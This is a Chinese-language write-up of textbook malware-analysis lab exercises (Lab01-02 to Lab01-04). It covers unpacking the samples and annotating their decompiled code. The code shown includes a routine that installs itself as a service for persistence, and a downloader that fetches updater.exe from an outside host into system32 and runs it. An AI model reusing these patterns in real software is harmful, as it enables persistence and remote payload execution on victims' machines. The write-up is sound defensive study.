恶意代码分析实验(一)
Lab01-02.exe
检验程序是否有壳
发现加了upx壳,我们用工具脱壳
得到文件后将文件拖入IDA反编译
首先查看字符串,发现可疑字符http://www.malwareanalysisbook.com
猜测该网址为恶意网站,该程序的操作为访问该恶意网址
对代码逻辑的详细分析如下:
int sub_401040()
{
SC_HANDLE v0; // esi
HANDLE v1; // esi
signed int v2; // esi
SYSTEMTIME SystemTime; // [esp+0h] [ebp-400h]
struct _FILETIME FileTime; // [esp+10h] [ebp-3F0h]
CHAR Filename; // [esp+18h] [ebp-3E8h]
if ( OpenMutexA(0x1F0001u, 0, Name) )
ExitProcess(0);
CreateMutexA(0, 0, Name);
//创建一个互斥的信号量Name
v0 = OpenSCManagerA(0, 0, 3u);
// 建立一个连接到服务控制管理器并打开它的数据库
GetModuleFileNameA(0, &Filename, 0x3E8u);
//获取当前运行程序的绝对路径
CreateServiceA(v0, DisplayName, DisplayName, 2u, 0x10u, 2u, 0, &Filename, 0, 0, 0, 0, 0);
//创建一个服务对象,并将其添加到指定的服务控制管理器数据库v0,指定的服务程序为本程序
*(_DWORD *)&SystemTime.wYear = 0;
*(_DWORD *)&SystemTime.wDayOfWeek = 0;
*(_DWORD *)&SystemTime.wHour = 0;
*(_DWORD *)&SystemTime.wSecond = 0;
SystemTime.wYear = 2100;
设定系统时间为2100年整
SystemTimeToFileTime(&SystemTime, &FileTime);
将系统时间赋值给本地时间
v1 = CreateWaitableTimerA(0, 0, 0);
SetWaitableTimer(v1, (const LARGE_INTEGER *)&FileTime, 0, 0, 0, 0);
//创建无界面的定时器
if ( WaitForSingleObject(v1, 0xFFFFFFFF) )
return 0;
v2 = 20;
do
{
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
--v2;
}
while ( v2 );
return 0;
}
//判断定时器是否激活,激活则连续创建20个线程访问该网站
Lab01-03
检验该文件是否加壳
发现是FSG1.0的壳用od的ollydump插件脱壳,获取脱壳后的文件
将文件拖入IDA中分析
首先查看其中字符串
然后将其反汇编得到代码,代码分析如下:
猜测该程序调用了浏览器访问该网页
将程序拖入dependency wwalker
发现其调用了以上三个函数比较特殊
得知该程序创建了一个访问http://www.malwareanalysisbook.com/ad.html
的进程,相当于广告
Lab01-04
首先用扫描引擎扫描该文件,有38个引擎认为它是恶意的木马
首先查壳
用工具脱壳
将脱壳后获取的4.exe拖入ResourceHacker中,发现有一个PE文件
将PE文件拖入IDA反汇编分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
CHAR CmdLine; // [esp+8h] [ebp-440h]
char v5; // [esp+9h] [ebp-43Fh]
char v6; // [esp+115h] [ebp-333h]
CHAR v7; // [esp+118h] [ebp-330h]
char v8; // [esp+119h] [ebp-32Fh]
char v9; // [esp+225h] [ebp-223h]
CHAR Buffer; // [esp+228h] [ebp-220h]
char v11; // [esp+229h] [ebp-21Fh]
char v12; // [esp+335h] [ebp-113h]
char Dest; // [esp+338h] [ebp-110h]
char v14; // [esp+339h] [ebp-10Fh]
char v15; // [esp+445h] [ebp-3h]
Buffer = 0;
memset(&v11, 0, 0x10Cu);
v12 = 0;
Dest = 0;
memset(&v14, 0, 0x10Cu);
v15 = 0;
v7 = 0;
memset(&v8, 0, 0x10Cu);
v9 = 0;
CmdLine = 0;
memset(&v5, 0, 0x10Cu);
v6 = 0;
GetTempPathA(0x10Eu, &Buffer);
snprintf(&Dest, 0x10Eu, Format, &Buffer, aWinupExe);
WinExec(&Dest, 5u);
//执行winup.exe
GetWindowsDirectoryA(&v7, 0x10Eu);
snprintf(&CmdLine, 0x10Eu, aSS_0, &v7, aSystem32Wupdmg);
if ( !URLDownloadToFileA(0, aHttpWwwPractic, &CmdLine, 0, 0) )
WinExec(&CmdLine, 0);
//指定URL地址读取内容并将读取到的内容保存到特定的文件里,url为http://www.practicalmalwareanalysis.com/updater.exe,文件地址为\system32\wupdmgrd.exe,下载成功后执行该文件
return 0;
}
以下为搜到的这两个程序的信息
wupdmgr.exe是 windows update manger 的缩写,是自动升级的程序,存在于c:\windows\system32下,被删除或被重命名后能立即自动生成。wupdmgr.exe是WORM_SPYBOT.B病毒的一部分。该病毒通过P2P文件共享软件进行传播,它允许攻击者访问你的计算机,窃取密码和个人数据。这个进程的安全等级是建议立即进行删除。
该病毒的首先进行自动升级,然后从指定的恶意网站下载并执行恶意程序wupdmgr.exe。
该程序为恶意的下载木马